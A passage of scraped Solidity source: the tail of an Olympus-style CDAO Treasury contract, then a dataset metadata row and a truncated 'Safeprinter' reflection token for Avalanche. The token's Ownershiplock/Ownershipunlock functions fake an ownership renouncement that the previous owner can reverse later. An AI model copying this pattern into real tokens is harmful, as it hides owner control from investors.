function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20Mintable {
function mint(uint256 amount_) external;
function mint(address account_, uint256 ammount_) external;
}
interface ICDAOERC20 {
function burnFrom(address account_, uint256 amount_) external;
}
interface IBondCalculator {
function valuation(address pair_, uint256 amount_) external view returns (uint256 _value);
}
contract Treasury is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Deposit(address indexed token, uint256 amount, uint256 value);
event Withdrawal(address indexed token, uint256 amount, uint256 value);
event CreateDebt(address indexed debtor, address indexed token, uint256 amount, uint256 value);
event RepayDebt(address indexed debtor, address indexed token, uint256 amount, uint256 value);
event ReservesManaged(address indexed token, uint256 amount);
event ReservesUpdated(uint256 indexed totalReserves);
event ReservesAudited(uint256 indexed totalReserves);
event RewardsMinted(address indexed caller, address indexed recipient, uint256 amount);
event ChangeQueued(MANAGING indexed managing, address queued);
event ChangeActivated(MANAGING indexed managing, address activated, bool result);
enum MANAGING {
RESERVEDEPOSITOR,
RESERVESPENDER,
RESERVETOKEN,
RESERVEMANAGER,
LIQUIDITYDEPOSITOR,
LIQUIDITYTOKEN,
LIQUIDITYMANAGER,
DEBTOR,
REWARDMANAGER,
STAR
}
address public immutable CDAO;
uint256 public blocksNeededForQueue;
address[] public reserveTokens; // Push only, beware false-positives.
mapping(address => bool) public isReserveToken;
mapping(address => uint256) public reserveTokenQueue; // Delays changes to mapping.
address[] public reserveDepositors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveDepositor;
mapping(address => uint256) public reserveDepositorQueue; // Delays changes to mapping.
address[] public reserveSpenders; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveSpender;
mapping(address => uint256) public reserveSpenderQueue; // Delays changes to mapping.
address[] public liquidityTokens; // Push only, beware false-positives.
mapping(address => bool) public isLiquidityToken;
mapping(address => uint256) public LiquidityTokenQueue; // Delays changes to mapping.
address[] public liquidityDepositors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isLiquidityDepositor;
mapping(address => uint256) public LiquidityDepositorQueue; // Delays changes to mapping.
mapping(address => address) public bondCalculator; // bond calculator for liquidity token
address[] public reserveManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveManager;
mapping(address => uint256) public ReserveManagerQueue; // Delays changes to mapping.
address[] public liquidityManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isLiquidityManager;
mapping(address => uint256) public LiquidityManagerQueue; // Delays changes to mapping.
address[] public debtors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isDebtor;
mapping(address => uint256) public debtorQueue; // Delays changes to mapping.
mapping(address => uint256) public debtorBalance;
address[] public rewardManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isRewardManager;
mapping(address => uint256) public rewardManagerQueue; // Delays changes to mapping.
address public STAR;
uint256 public STARQueue; // Delays change to STAR address
uint256 public totalReserves; // Risk-free value of all assets
uint256 public totalDebt;
constructor(address _CDAO,
address _DAI,
address _CDAODAI,
address _bondCalculator,
uint256 _blocksNeededForQueue) {
require(_CDAO != address(0));
CDAO = _CDAO;
isReserveToken[_DAI] = true;
reserveTokens.push(_DAI);
isLiquidityToken[_CDAODAI] = true;
liquidityTokens.push(_CDAODAI);
bondCalculator[_CDAODAI] = _bondCalculator;
reserveDepositors.push(msg.sender);
isReserveDepositor[msg.sender] = true;
liquidityDepositors.push(msg.sender);
isLiquidityDepositor[msg.sender] = true;
blocksNeededForQueue = _blocksNeededForQueue;
}
function deposit(uint256 _amount,
address _token,
uint256 _profit) external returns (uint256 send_) {
require(isReserveToken[_token] || isLiquidityToken[_token], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
if (isReserveToken[_token]) {
require(isReserveDepositor[msg.sender], "Not approved");
} else {
require(isLiquidityDepositor[msg.sender], "Not approved");
}
uint256 value = valueOf(_token, _amount);
// mint CDAO needed and store amount of rewards for distribution
send_ = value.sub(_profit);
IERC20Mintable(CDAO).mint(msg.sender, send_);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit Deposit(_token, _amount, value);
}
function withdraw(uint256 _amount, address _token) external {
require(isReserveToken[_token], "Not accepted"); // Only reserves can be used for redemptions
require(isReserveSpender[msg.sender] == true, "Not approved");
uint256 value = valueOf(_token, _amount);
ICDAOERC20(CDAO).burnFrom(msg.sender, value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit Withdrawal(_token, _amount, value);
}
function incurDebt(uint256 _amount, address _token) external {
require(isDebtor[msg.sender], "Not approved");
require(isReserveToken[_token], "Not accepted");
uint256 value = valueOf(_token, _amount);
uint256 maximumDebt = IERC20(STAR).balanceOf(msg.sender); // Can only borrow against STAR held
uint256 availableDebt = maximumDebt.sub(debtorBalance[msg.sender]);
require(value <= availableDebt, "Exceeds debt limit");
debtorBalance[msg.sender] = debtorBalance[msg.sender].add(value);
totalDebt = totalDebt.add(value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).transfer(msg.sender, _amount);
emit CreateDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithReserve(uint256 _amount, address _token) external {
require(isDebtor[msg.sender], "Not approved");
require(isReserveToken[_token], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
uint256 value = valueOf(_token, _amount);
debtorBalance[msg.sender] = debtorBalance[msg.sender].sub(value);
totalDebt = totalDebt.sub(value);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit RepayDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithCDAO(uint256 _amount) external {
require(isDebtor[msg.sender], "Not approved");
ICDAOERC20(CDAO).burnFrom(msg.sender, _amount);
debtorBalance[msg.sender] = debtorBalance[msg.sender].sub(_amount);
totalDebt = totalDebt.sub(_amount);
emit RepayDebt(msg.sender, CDAO, _amount, _amount);
}
function manage(address _token, uint256 _amount) external {
if (isLiquidityToken[_token]) {
require(isLiquidityManager[msg.sender], "Not approved");
} else {
require(isReserveManager[msg.sender], "Not approved");
}
uint256 value = valueOf(_token, _amount);
require(value <= excessReserves(), "Insufficient reserves");
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit ReservesManaged(_token, _amount);
}
function mintRewards(address _recipient, uint256 _amount) external {
require(isRewardManager[msg.sender], "Not approved");
require(_amount <= excessReserves(), "Insufficient reserves");
IERC20Mintable(CDAO).mint(_recipient, _amount);
emit RewardsMinted(msg.sender, _recipient, _amount);
}
function excessReserves() public view returns (uint256) {
return totalReserves.sub(IERC20(CDAO).totalSupply().sub(totalDebt));
}
function auditReserves() external onlyManager {
uint256 reserves;
for (uint256 i = 0; i < reserveTokens.length; i++) {
reserves = reserves.add(valueOf(reserveTokens[i], IERC20(reserveTokens[i]).balanceOf(address(this))));
}
for (uint256 i = 0; i < liquidityTokens.length; i++) {
reserves = reserves.add(valueOf(liquidityTokens[i], IERC20(liquidityTokens[i]).balanceOf(address(this))));
}
totalReserves = reserves;
emit ReservesUpdated(reserves);
emit ReservesAudited(reserves);
}
function valueOf(address _token, uint256 _amount) public view returns (uint256 value_) {
if (isReserveToken[_token]) {
// convert amount to match CDAO decimals
value_ = _amount.mul(10**IERC20(CDAO).decimals()).div(10**IERC20(_token).decimals());
} else if (isLiquidityToken[_token]) {
value_ = IBondCalculator(bondCalculator[_token]).valuation(_token, _amount);
}
}
function queue(MANAGING _managing, address _address) external onlyManager returns (bool) {
require(_address != address(0));
if (_managing == MANAGING.RESERVEDEPOSITOR) {
// 0
reserveDepositorQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.RESERVESPENDER) {
// 1
reserveSpenderQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.RESERVETOKEN) {
// 2
reserveTokenQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.RESERVEMANAGER) {
// 3
ReserveManagerQueue[_address] = block.number.add(blocksNeededForQueue.mul(2));
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {
// 4
LiquidityDepositorQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {
// 5
LiquidityTokenQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {
// 6
LiquidityManagerQueue[_address] = block.number.add(blocksNeededForQueue.mul(2));
} else if (_managing == MANAGING.DEBTOR) {
// 7
debtorQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.REWARDMANAGER) {
// 8
rewardManagerQueue[_address] = block.number.add(blocksNeededForQueue);
} else if (_managing == MANAGING.STAR) {
// 9
STARQueue = block.number.add(blocksNeededForQueue);
} else return false;
emit ChangeQueued(_managing, _address);
return true;
}
function toggle(MANAGING _managing,
address _address,
address _calculator) external onlyManager returns (bool) {
require(_address != address(0));
bool result;
if (_managing == MANAGING.RESERVEDEPOSITOR) {
// 0
if (requirements(reserveDepositorQueue, isReserveDepositor, _address)) {
reserveDepositorQueue[_address] = 0;
if (!listContains(reserveDepositors, _address)) {
reserveDepositors.push(_address);
}
}
result = !isReserveDepositor[_address];
isReserveDepositor[_address] = result;
} else if (_managing == MANAGING.RESERVESPENDER) {
// 1
if (requirements(reserveSpenderQueue, isReserveSpender, _address)) {
reserveSpenderQueue[_address] = 0;
if (!listContains(reserveSpenders, _address)) {
reserveSpenders.push(_address);
}
}
result = !isReserveSpender[_address];
isReserveSpender[_address] = result;
} else if (_managing == MANAGING.RESERVETOKEN) {
// 2
if (requirements(reserveTokenQueue, isReserveToken, _address)) {
reserveTokenQueue[_address] = 0;
if (!listContains(reserveTokens, _address)) {
reserveTokens.push(_address);
}
}
result = !isReserveToken[_address];
isReserveToken[_address] = result;
} else if (_managing == MANAGING.RESERVEMANAGER) {
// 3
if (requirements(ReserveManagerQueue, isReserveManager, _address)) {
reserveManagers.push(_address);
ReserveManagerQueue[_address] = 0;
if (!listContains(reserveManagers, _address)) {
reserveManagers.push(_address);
}
}
result = !isReserveManager[_address];
isReserveManager[_address] = result;
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {
// 4
if (requirements(LiquidityDepositorQueue, isLiquidityDepositor, _address)) {
liquidityDepositors.push(_address);
LiquidityDepositorQueue[_address] = 0;
if (!listContains(liquidityDepositors, _address)) {
liquidityDepositors.push(_address);
}
}
result = !isLiquidityDepositor[_address];
isLiquidityDepositor[_address] = result;
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {
// 5
if (requirements(LiquidityTokenQueue, isLiquidityToken, _address)) {
LiquidityTokenQueue[_address] = 0;
if (!listContains(liquidityTokens, _address)) {
liquidityTokens.push(_address);
}
}
result = !isLiquidityToken[_address];
isLiquidityToken[_address] = result;
bondCalculator[_address] = _calculator;
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {
// 6
if (requirements(LiquidityManagerQueue, isLiquidityManager, _address)) {
LiquidityManagerQueue[_address] = 0;
if (!listContains(liquidityManagers, _address)) {
liquidityManagers.push(_address);
}
}
result = !isLiquidityManager[_address];
isLiquidityManager[_address] = result;
} else if (_managing == MANAGING.DEBTOR) {
// 7
if (requirements(debtorQueue, isDebtor, _address)) {
debtorQueue[_address] = 0;
if (!listContains(debtors, _address)) {
debtors.push(_address);
}
}
result = !isDebtor[_address];
isDebtor[_address] = result;
} else if (_managing == MANAGING.REWARDMANAGER) {
// 8
if (requirements(rewardManagerQueue, isRewardManager, _address)) {
rewardManagerQueue[_address] = 0;
if (!listContains(rewardManagers, _address)) {
rewardManagers.push(_address);
}
}
result = !isRewardManager[_address];
isRewardManager[_address] = result;
} else if (_managing == MANAGING.STAR) {
// 9
STARQueue = 0;
STAR = _address;
result = true;
} else return false;
emit ChangeActivated(_managing, _address, result);
return true;
}
function setBlockForQueue(uint256 _blockForQueue) external onlyManager {
blocksNeededForQueue = _blockForQueue;
}
function requirements(mapping(address => uint256) storage queue_,
mapping(address => bool) storage status_,
address _address) internal view returns (bool) {
if (!status_[_address]) {
require(queue_[_address] != 0, "Must queue");
require(queue_[_address] <= block.number, "Queue not expired");
return true;
}
return false;
}
function listContains(address[] storage _list, address _token) internal view returns (bool) {
for (uint256 i = 0; i < _list.length; i++) {
if (_list[i] == _token) {
return true;
}
}
return false;
}
}
| 71,624 | 10,634 |
b489357a4da981ca4b5245c959e0eaec2ac26919b2ed9a4d2bc0b0ee1f164163
| 19,336 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/13/131677b5B758A7354437a7f297aB6cE90F59cd59_Safeprinter.sol
| 4,766 | 18,161 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function Ownershiplock(uint256 time) public virtual onlyOwner {
_previousOwner = owner;
owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(owner, address(0));
}
function Ownershipunlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(owner, _previousOwner);
owner = _previousOwner;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Safeprinter is IBEP20, Ownable {
// Events
event AutoLiquify(uint256 amountAVAX, uint256 amountTokens);
event SetFees(uint256 liquidityFee, uint256 marketingFee, uint256 reflectionFee, uint256 teamFee, uint256 totalFee);
event SetSwapBackSettings(bool enabled, uint256 swapThreshold);
event SetIsFeeExempt(address holder, bool enabled);
event SetFeeReceivers(address marketingReceiver, address teamFeeReceiver);
event StuckBalanceSent(uint256 amountAVAX, address recipient);
event SetMaxTx(uint256 maxTX);
event SetMaxWallet(uint256 maxWallet);
event MarketingFunds(uint256 amountAVAX, address recipient);
event TeamFunds(uint256 amountAVAX, address recipient);
event CanTransferBeforeLaunch(address holder, bool exempt);
event ForeignTokenTransfer(address tokenAddress, uint256 quantity);
// Mappings
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isTxLimitExempt;
mapping (address => bool) private canAddLiquidityBeforeLaunch;
// Supply
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10 * 10**6 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
// Max Wallet & TX Limits
uint256 public _maxWalletSize = _tTotal * 1;
uint256 public _maxTX = _tTotal * 1;
// Basic Contract Info
string constant _name = 'SafePrinter';
string constant _symbol = 'Safe Printer';
uint8 constant _decimals = 9;
// Detailed Fees
uint256 private _reflectionFee = 2;
uint256 private _marketingFee = 8;
uint256 private _liquidityFee = 0;
uint256 private _teamFee = 0;
uint256 private totalFees = _marketingFee + _reflectionFee + _liquidityFee + _teamFee;
uint256 private contractFees = _marketingFee + _liquidityFee + _teamFee;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _previousliquidityFee = _liquidityFee;
uint256 private _previousteamFee = _teamFee;
// Fee Receiver
address private marketingFeeReceiver = 0xbdc13FDC2a4e94E7626d1dFf75DCF53F4dc5F060;
address private teamFeeReceiver = 0xbdc13FDC2a4e94E7626d1dFf75DCF53F4dc5F060;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
bool public swapEnabled = true;
uint256 public swapThreshold = _tTotal / 1000 * 1; // 0.1%
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Ownable(msg.sender) {
router = IDEXRouter(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
pair = IDEXFactory(router.factory()).createPair(address(this), router.WAVAX());
_allowances[address(this)][address(router)] = type(uint256).max;
isFeeExempt[owner] = true;
isTxLimitExempt[owner] = true;
canAddLiquidityBeforeLaunch[owner] = true;
_balances[msg.sender] = _rTotal;
emit Transfer(address(0), msg.sender, _tTotal);
}
receive() external payable {}
// Basic Functions
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function getOwner() external view override returns (address) { return owner; }
function totalSupply() external view override returns (uint256) { return _tTotal; }
function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_balances[account]);}
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]- (amount));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / (currentRate);
}
// Internal Functions
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!launched() && recipient == pair){
require(canAddLiquidityBeforeLaunch[sender]);
launch();
}
checkTxLimit(sender, amount);
if (recipient != pair &&
recipient != owner) {
require(isTxLimitExempt[recipient] || tokenFromReflection(_balances[recipient]) + amount <= _maxWalletSize, "Transfer amount exceeds the bag size.");
}
if(shouldSwapBack()){ swapBack(); }
_tokenTransfer(sender,recipient,amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
if(!shouldTakeFee(sender) || !shouldTakeFee(recipient)) removeAllFee();
_transferStandard(sender, recipient, amount);
if(!shouldTakeFee(sender) || !shouldTakeFee(recipient)) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tFees) = _getValues(tAmount);
_balances[sender] = _balances[sender] - (rAmount);
_balances[recipient] = _balances[recipient] + (rTransferAmount);
_takeFees(tFees, rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeFees(uint256 tFees, uint256 rReflection) private {
_rTotal = _rTotal - (rReflection);
uint256 currentRate = _getRate();
uint256 rFees = tFees * (currentRate);
_balances[address(this)] = _balances[address(this)] + (rFees);
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTX || isTxLimitExempt[sender], "TX Limit Exceeded");
}
function removeAllFee() private {
if(_reflectionFee == 0 && _marketingFee == 0 && _liquidityFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousMarketingFee = _marketingFee;
_previousliquidityFee = _liquidityFee;
_previousteamFee = _teamFee;
_reflectionFee = 0;
_marketingFee = 0;
_liquidityFee = 0;
_teamFee = 0;
contractFees = _marketingFee + _liquidityFee + _teamFee;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_teamFee = _previousteamFee;
_marketingFee = _previousMarketingFee;
_liquidityFee = _previousliquidityFee;
contractFees = _marketingFee + _liquidityFee + _teamFee;
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function swapBack() internal swapping {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 amountToLiquify = contractTokenBalance * _liquidityFee / contractFees / (2);
uint256 amountToSwap = contractTokenBalance - amountToLiquify;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountAVAX = address(this).balance;
uint256 totalAVAXFee = contractFees - (_liquidityFee / (2));
uint256 amountAVAXLiquidity = amountAVAX * _liquidityFee / totalAVAXFee / (2);
uint256 amountAVAXMarketing = amountAVAX * _marketingFee / totalAVAXFee;
uint256 amountAVAXTeam = amountAVAX - amountAVAXMarketing - amountAVAXLiquidity;
if(amountAVAXMarketing > 0) {payable(marketingFeeReceiver).transfer(amountAVAXMarketing);
emit MarketingFunds(amountAVAXMarketing, marketingFeeReceiver);
}
if(amountAVAXTeam > 0) {payable(teamFeeReceiver).transfer(amountAVAXTeam);
emit TeamFunds(amountAVAXTeam, teamFeeReceiver);
}
if(amountToLiquify > 0){
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this),
amountToLiquify,
0,
0,
marketingFeeReceiver,
block.timestamp);
emit AutoLiquify(amountAVAXLiquidity, amountToLiquify);
}
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.timestamp;
}
// Reflections code
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflection, uint256 tFees) = _calculateTokenValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _calculateRateValues(tAmount, tReflection, tFees, currentRate);
return (rAmount, rTransferAmount, rReflection, tTransferAmount, tFees);
}
function _calculateTokenValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 feeAmount = tAmount * (totalFees) / 100;
uint256 tReflection = feeAmount * (_reflectionFee) / totalFees;
uint256 tFees = feeAmount * (contractFees) / totalFees;
uint256 tTransferAmount = tAmount - tReflection - tFees;
return (tTransferAmount, tReflection, tFees);
}
function _calculateRateValues(uint256 tAmount, uint256 tReflection, uint256 tFees, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * (currentRate);
uint256 rReflection = tReflection * (currentRate);
uint256 rFees = tFees * (currentRate);
uint256 rTransferAmount = rAmount - (rReflection) - (rFees);
return (rAmount, rTransferAmount, rReflection);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / (tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal / (_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
// External Functions
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
emit SetIsFeeExempt(holder, exempt);
}
function setFees(uint256 liquidityFee, uint256 marketingFee, uint256 reflectionFee, uint256 teamFee) external onlyOwner {
require(liquidityFee + marketingFee + reflectionFee + teamFee < 33, "Total fees must be below 33%");
_liquidityFee = liquidityFee;
_marketingFee = marketingFee;
_reflectionFee = reflectionFee;
_teamFee = teamFee;
totalFees = _liquidityFee + _marketingFee + _reflectionFee + _teamFee;
contractFees = _liquidityFee + _marketingFee + _teamFee;
emit SetFees(_liquidityFee, _marketingFee, _reflectionFee, _teamFee, totalFees);
}
function setFeeReceiver(address _marketingFeeReceiver, address _teamFeeReceiver) external onlyOwner {
marketingFeeReceiver = _marketingFeeReceiver;
teamFeeReceiver = _teamFeeReceiver;
emit SetFeeReceivers(marketingFeeReceiver, teamFeeReceiver);
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount > 0, "Can't set SwapThreshold to ZERO");
swapEnabled = _enabled;
swapThreshold = _amount;
emit SetSwapBackSettings(swapEnabled, swapThreshold);
}
function setMaxTx(uint256 maxTX) external onlyOwner {
require(maxTX > _tTotal / 1000, "Can't set maxTX below 0.1%");
_maxTX = maxTX;
emit SetMaxTx(maxTX);
}
function setMaxWallet(uint256 maxWallet) external onlyOwner {
require(maxWallet > _tTotal / 1000, "Can't set maxTX below 0.1%");
_maxWalletSize = maxWallet;
emit SetMaxWallet(maxWallet);
}
function setCanTransferBeforeLaunch(address holder, bool exempt) external onlyOwner {
canAddLiquidityBeforeLaunch[holder] = exempt; //Presale Address will be added as Exempt
isFeeExempt[holder] = exempt;
isTxLimitExempt[holder] = exempt;
emit CanTransferBeforeLaunch(holder, exempt);
}
// Stuck Balance Functions
function ClearStuckBalance() external onlyOwner {
uint256 contractBalance = address(this).balance;
payable(marketingFeeReceiver).transfer(contractBalance);
